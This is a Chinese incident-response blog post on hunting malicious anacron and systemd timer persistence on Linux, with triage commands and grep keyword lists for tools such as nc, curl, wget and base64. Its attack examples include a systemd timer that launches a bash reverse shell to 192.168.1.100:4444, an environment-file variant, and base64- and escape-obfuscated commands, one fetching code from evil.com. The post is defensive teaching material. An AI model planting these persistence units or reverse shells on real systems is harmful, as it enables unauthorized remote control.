【应急响应】Linux 计划任务与 DFIR 排查实践(三)

news/2025/3/13 10:57:53/文章来源:https://www.cnblogs.com/o-O-oO/p/18575646

原创 Y1x1n Y1X1n安全 2024年11月29日 07:04

免责声明

本公众号文章中的程序、方法、信息和工具仅用于安全研究、教学、网络安全人员对网站及服务器的检测维护,禁止用于其他非法用途。使用者对不当使用造成的后果承担全部法律及连带责任,作者和公众号不担责。文中安全漏洞情报依公开信息整理,据此行动风险自担,如有侵权请告知。

🔖 在上两节【linux应急响应】Linux 计划任务与 DFIR 排查实践(一)、【应急响应】Linux 计划任务与 DFIR 排查实践(二)中,我们深入探讨了 cron 、at服务,从基础排查到隐藏任务的分析排查,这一节我们再一块看看anacron和Systemd Timers服务。

一、anacron 服务

1.1 工作机制

设计用于非全天候运行的系统,保证错过的任务会在系统恢复后运行。Anacron 会检查每个任务的运行周期和上次运行的时间戳。如果任务未按计划执行,它将在系统启动后立即补执行任务。默认配置文件位于 /etc/anacrontab。/var/spool/anacron/,存储任务状态的目录,它包含的文件记录了最近一次执行每类任务的时间戳。/var/spool/anacron/ 中记录的时间戳对应 PERIOD 字段,确保任务不会重复执行。 

1.2 配置文件示例

PERIOD   DELAY   IDENTIFIER   COMMAND
1        5       cron.daily   run-parts /etc/cron.daily

字段解释:

PERIOD:任务的执行周期,单位为“天”。
1 表示该任务每天执行一次。
如果是 7,则表示任务每周执行一次。
如果是 30,则任务每月执行一次。
DELAY:延迟时间,单位为“分钟”。
表示任务在指定周期触发后,等待多久再执行。
示例中 5 意味着 Anacron 会在系统开机后 5 分钟执行该任务。
IDENTIFIER:任务的标识符(名称)。
用于日志记录和跟踪。
示例中的 cron.daily 是任务的名称,与相关目录 /etc/cron.daily 保持一致。
COMMAND:需要执行的命令。
示例中 run-parts /etc/cron.daily 是一个常用的工具,它会递归执行 /etc/cron.daily 目录中的所有脚本文件。

1.3 常用命令

  1. 查看 anacron 任务列表
grep -v '^#' /etc/anacrontab

显示 /etc/anacrontab 文件中所有非注释的行,即所有 anacron 的任务列表。
2. 编辑 anacron 任务

sudo crontab -e

或者直接编辑 /etc/anacrontab 文件:

sudo nano /etc/anacrontab

用于编辑 anacron 的任务列表。

  1. 手动运行 anacron 任务
sudo anacron -s

以静默模式运行 anacron,不发送邮件报告。

  1. 查看 anacron 日志
grep anacron /var/log/syslog
grep anacron /var/log/messages

1.4 排查方法🎯

检查配置文件

cat /etc/anacrontab
ls -l /etc/cron.{daily,weekly,monthly}

关注点

是否有异常脚本被添加到:/etc/cron.daily、/etc/cron.weekly、/etc/cron.monthly。检查是否有非系统常见任务,如未知文件或脚本。

🔖注:

cron 和 anacron 都使用 /etc/cron./,但处理方式不同:

/etc/cron.hourly/:仅由 cron 调度。/etc/cron.daily/、/etc/cron.weekly/ 和 /etc/cron.monthly/:可被 cron 和 anacron 使用。实际归属取决于系统中 cron 和 anacron 的启用情况以及任务调度的时间要求。 

搜索敏感关键词

扫描 anacron 相关目录中的脚本是否包含恶意命令或行为模式:

grep -Ei "(wget|curl|bash|python|nc|perl|sh|ftp|scp|tftp|telnet|openssl|base64|eval|exec|chmod|chown|mkfifo|tcpdump)" /etc/cron.*/* /etc/anacrontab

关键词:涵盖了可能被攻击者用于渗透、反向连接、数据传输或隐藏恶意操作的命令。

查看任务日志:

grep 'anacron' /var/log/syslog   # Ubuntu、Debian 等默认使用
grep 'anacron' /var/log/messages   # CentOS、RHEL 等默认使用

同时:

grep 'anacron' /var/log/syslog /var/log/messages

关注点

是否有异常任务的执行记录。是否有未知用户触发 anacron。检查最近的任务修改

确认 anacron 的配置文件或关联任务脚本最近是否被修改过:

find /etc/cron.* /etc/anacrontab -type f -mtime -7 -ls

输出分析

查看是否有任务在短时间内被修改。对修改过的文件使用 diff 或直接阅读其内容。验证任务完整性

如果系统支持包验证,可以检查相关配置是否被篡改:

rpm -V cronie-anacron
debsums -c cronie-anacron

二、Systemd Timers

2.1 Systemd Timers介绍

Systemd Timers 是 Linux 系统中基于 systemd 的计划任务管理工具,旨在取代传统的 cron。它通过 systemd 的服务管理机制提供更灵活、更强大的计划任务功能。它通过 .timer 单元文件定义定时任务,并结合 .service 单元文件执行具体的操作。
Systemd Timers 的优点

精确控制:支持秒级调度,并能结合 OnBootSec、OnCalendar 等实现复杂的定时规则。事件驱动:可根据特定事件(如系统启动后)触发任务。日志与状态追踪:通过 journalctl 记录任务执行日志。补执行:支持错过的任务自动补执行(类似 anacron)。

核心组件

.timer 文件:定义任务的调度规则。

.service 文件:定义任务执行的具体操作。

2.2 Systemd Timers 配置及常用命令

1、配置systemd 定时器

配置一个 systemd 定时器涉及创建两个文件:一个是服务单元文件(.service),另一个是定时器单元文件(.timer)。

步骤 1: 创建服务单元文件

创建服务单元文件来定义当定时器触发时要执行的命令。例如,创建一个名为 mytimer.service 的文件:

sudo nano /etc/systemd/system/mytimer.service

在文件中添加以下内容:

[Unit]
Description=My Timer Service[Service]
Type=oneshot
ExecStart=/usr/bin/echo "Hello, World!" > /tmp/hello.txt

服务执行一个简单的命令,将 "Hello, World!" 写入到 /tmp/hello.txt 文件中。

步骤 2: 创建定时器单元文件

创建定时器单元文件来定义服务的触发频率。例如,创建一个名为 mytimer.timer 的文件:

sudo nano /etc/systemd/system/mytimer.timer

在文件中添加以下内容:

[Unit]
Description=Run mytimer.service every minute[Timer]
OnCalendar=*-*-* *:0/1:00:00
Persistent=true[Install]
WantedBy=timers.target

这里,OnCalendar 设置为*-*-* *:0/1:00:00表示每分钟触发一次。Persistent=true 表示如果错过了触发时间,系统会在下次启动时尝试补执行。

步骤 3: 启动定时器并使其在启动时运行

启用并启动定时器:

sudo systemctl enable mytimer.timer
sudo systemctl start mytimer.timer

enable 命令使定时器在系统启动时自动运行,start 命令立即启动定时器。

步骤 4: 检查定时器状态

检查定时器的状态以确认它是否按预期工作:

sudo systemctl status mytimer.timer

步骤 5: 查看定时器日志

查看定时器的日志可以帮助你了解服务是否按计划执行:

sudo journalctl -u mytimer.timer

以上步骤创建了一个简单的定时器,它将每分钟执行一次定义在 mytimer.service 中的命令。你可以根据需要调整 ExecStart 和 OnCalendar 的值来执行不同的命令或设置不同的触发频率。

2、查看所有定时器

systemctl list-timers
# 使用 --all 参数,显示包括未激活的定时器。

输出示例:

NEXT                         LEFT          LAST                         PASSED       UNIT                ACTIVATES
Sun 2024-11-24 18:00:00 UTC  29min left   Sun 2024-11-24 17:00:00 UTC  30min ago    backup.timer        backup.service

3、启动和停止定时器

启动定时器:

sudo systemctl start <timer-name>.timer

停止定时器:

sudo systemctl stop <timer-name>.timer

4、启用和禁用定时器

启用定时器(开机自动启动):

sudo systemctl enable <timer-name>.timer

禁用定时器:

sudo systemctl disable <timer-name>.timer

2.3 攻击者可能的利用方式

# 创建服务文件
[Unit]
Description=Reverse Shell[Service]
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'[Install]
WantedBy=multi-user.target" > /etc/systemd/system/reverse-shell.service# 创建定时器文件
[Unit]
Description=Trigger Reverse Shell[Timer]
OnBootSec=1min
Unit=reverse-shell.service[Install]
WantedBy=timers.target" > /etc/systemd/system/reverse-shell.timer# 启用并启动定时器
sudo systemctl enable reverse-shell.timer
sudo systemctl start reverse-shell.timer

2.4 排查方法

  1. 检查非标准定时器

列出所有定时器,重点关注用户定义的 .timer

systemctl list-timers --all

注意排查未启用或已禁用但仍存在的定时器。

  1. 排查 .timer 和 .service 文件

检查 /etc/systemd/system/ 和 /usr/lib/systemd/system/ 目录下是否存在可疑文件。通常 /usr/lib/systemd/system/ 存放系统自带的 .service 和 .timer,而 /etc/systemd/system/ 是用户或管理员配置的文件。

重点关注

ExecStart 中是否包含恶意命令。OnCalendar 是否设置为非常频繁的触发时间。
  1. 检查新建文件

通过文件时间戳找到最近创建或修改的 .timer 和 .service 文件:

find /etc/systemd/system/ /usr/lib/systemd/system/ -type f -name "*.timer" -o -name "*.service" -mtime -7
  1. 检查用户定时器

用户级别的 systemd 定时器,检查用户定时器目录:

ls ~/.config/systemd/user/
  1. 查找关键字显示文件名和匹配行号:
grep -Ein "(curl|wget|bash|python|nc|perl)" /etc/systemd/system/* /usr/lib/systemd/system/* ~/.config/systemd/user/* 2>/dev/null

增强版:

grep -Ei "(curl|wget|bash|python|nc|perl|scp|ftp|rsync|tar|gzip|7z|ssh|telnet|socat|base64|eval|exec|nohup)" /etc/systemd/system/* /usr/lib/systemd/system/* ~/.config/systemd/user/* 2>/dev/null
  1. 查看文件修改时间:
stat /etc/systemd/system/* /usr/lib/systemd/system/* ~/.config/systemd/user/*

关于 Systemd Timers 的隐藏手法,和上一节 cron 类似,这就简单介绍:

1、文件名混淆

通过选择与系统或常见服务类似的文件名进行伪装 ,如sys-update.timer、kernel-cleanup.timer 或 backup.timer。

加入难以察觉的字符,如使用 Unicode 类似字符(如 sуstem.timer,其中的“у”为西里尔字母)。

2、文件路径隐藏

可能存放在非标准目录中,例如:

用户级别路径:~/.config/systemd/user/

隐藏目录:/etc/.systemd/ 或 /var/.system/

📌排查:

使用 find 命令递归检查可疑路径:

find /etc /usr /var -type f -name "*.timer" -o -name "*.service" -iname ".*"

检查用户目录中的定时器:

ls -la ~/.config/systemd/user/

3、 结合环境变量绕过检测

攻击者可能通过 EnvironmentFile 加载恶意配置文件,或直接在服务中嵌入动态环境变量。例如:

EnvironmentFile=/etc/sysconfig/malicious.env
ExecStart=/bin/bash -c "$CMD"

其中,malicious.env 文件可能包含如下内容:

CMD='bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'

📌排查:

检查定时器或服务文件是否引用外部配置文件。

搜索环境变量的关键字:

grep -Er "EnvironmentFile|Env" \/etc/systemd/system/ \/usr/lib/systemd/system/ \/lib/systemd/system/ \~/.config/systemd/user/ \~/.local/share/systemd/ \/var/lib/systemd/ \2>/dev/null

4.混淆命令

通过混淆执行命令来绕过关键字检测:

使用 base64 编码

ExecStart=/bin/bash -c "$(echo d2dldCAtTyBodHRwOi8vZXZpbC5jb20gfCAvYmluL2Jhc2ggLWk= | base64 -d)"

利用符号替换

ExecStart=/bin/bash -c "/bin/ba$'\x73'h -i >& /dev/tcp/192.168.1.100/4444 0>&1"

小结

随着我们对 anacron 和 systemd timers 的探讨告一段落,本系列文章也接近尾声。掌握这些计划任务工具的原理和排查方法对于 DFIR 实践至关重要。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/843383.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

20222416 2024-2025-1 《网络与系统攻防技术》实验五实验报告

1.实验内容 1.1 本周学习内容 Nessus是一款广泛使用的网络漏洞扫描工具。Nessus 可以执行自动化的漏洞扫描,通过扫描目标系统、识别和评估可能存在的安全漏洞和弱点。它可以检测操作系统、应用程序、服务和网络设备中的各种安全问题,如已知的漏洞、配置错误、弱密码、未经授权…

20222315 2024-2025 《网络与系统攻防技术》实验七实验报告

1、实验内容 本实践的目标理解常用网络欺诈背后的原理,以提高防范意识,并提出具体防范方法。具体实践有 (1)简单应用SET工具建立冒名网站 (2)ettercap DNS spoof (3)结合应用两种技术,用DNS spoof引导特定访问到冒名网站。 2、实验过程 2.1简单应用SET工具建立冒名网站…

20222417 2021-2022-2 《网络与系统攻防技术》实验七实验报告

1.实验内容 1.1本周学习内容 本周学习了网络欺诈背后的原理,让我深刻认识到网络欺骗的危害。同时,学习了中间人攻击以及arp欺骗与回话挟持等攻击原理中间人攻击就是通过欺骗目标主机和路由器之间的通信,使其流量经过攻击者控制的中继节点,从而窃取或篡改通信内容。ARP欺骗则…

UE5模拟交互篇|可交互流体风场实现

【USparkle专栏】如果你深怀绝技,爱“搞点研究”,乐于分享也博采众长,我们期待你的加入,让智慧的火花碰撞交织,让知识的传递生生不息!一、原理介绍1. 思路分析先来说观察介质模拟的两种视角:拉格朗日视角和欧拉视角。 拉格朗日视角一般将介质视为粒子(或微小网格)的集…

层板孔位自动镜像

横板垂直孔正反面设置(在设计中需要去开启功能)

hhdb数据库介绍(10-6)

升级中心 功能入口: 登录管理用户界面->页面右上角升级中心点击【添加升级任务】按钮可进入升级中心发起一次升级任务,具体如下:计算节点升级 计算节点升级为管理平台对计算节点版本提供在线升级的功能。满足对单节点、主备节点、多节点和容灾模式集群的跨版本或小版本升…

hhdb数据库介绍(10-5)

审计日志 管理用户界面的审计日志主要用来查看管理用户对管理平台的操作记录,同时可查看所有纳管的计算节点集群内普通用户的基本操作。 管理员操作 可以查看所有管理用户在管理平台的操作。可以在页面的操作类型下拉框中按操作类型过滤查看。访问IP和操作内容支持模糊查找。 …

SpringBoot集成MyBatis-Plus实现多数据源操作

添加依赖<parent><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-parent</artifactId><version>2.7.18</version></parent><dependencies><dependency><groupId>org.springf…

测试ActiveMqAA

入门概述 MQ 种类和对比MQ 就是消息中间件。MQ 是一种理念,ActiveMQ 是 MQ 的落地产品。不管是哪款消息中间件,都有如下一些技术维度:MQ 消息的详细比较各类 MQ 的擅长领域MQ 种类 变成语言 擅长领域kafka scala 大数据领域的主流 MQ。rabbitmq erlang 基于 erlang 语言,不…

P1407 [国家集训队] 稳定婚姻

[国家集训队] 稳定婚姻 题目描述 我们已知 \(n\) 对夫妻的婚姻状况,称第 \(i\) 对夫妻的男方为 \(B_i\),女方为 \(G_i\)。若某男 \(B_i\) 与某女 \(G_j\) 曾经交往过(无论是大学,高中,亦或是幼儿园阶段,\(i \le j\)),则当某方与其配偶(即 \(B_i\) 与 \(G_i\) 或 \(B_j…

ThinkPHP日志记录

ThinkPHP 的日志功能记录参数 Controller use think\facade\Log;public function index() {// 获取请求参数$params = request()->param(); // 获取所有参数(GET、POST、PUT等)// 打印参数到日志Log::info(接口请求参数: . json_encode($params));//或者指定文件夹名称Lo…

Clip模型使用

代码文件结构clip.py model.py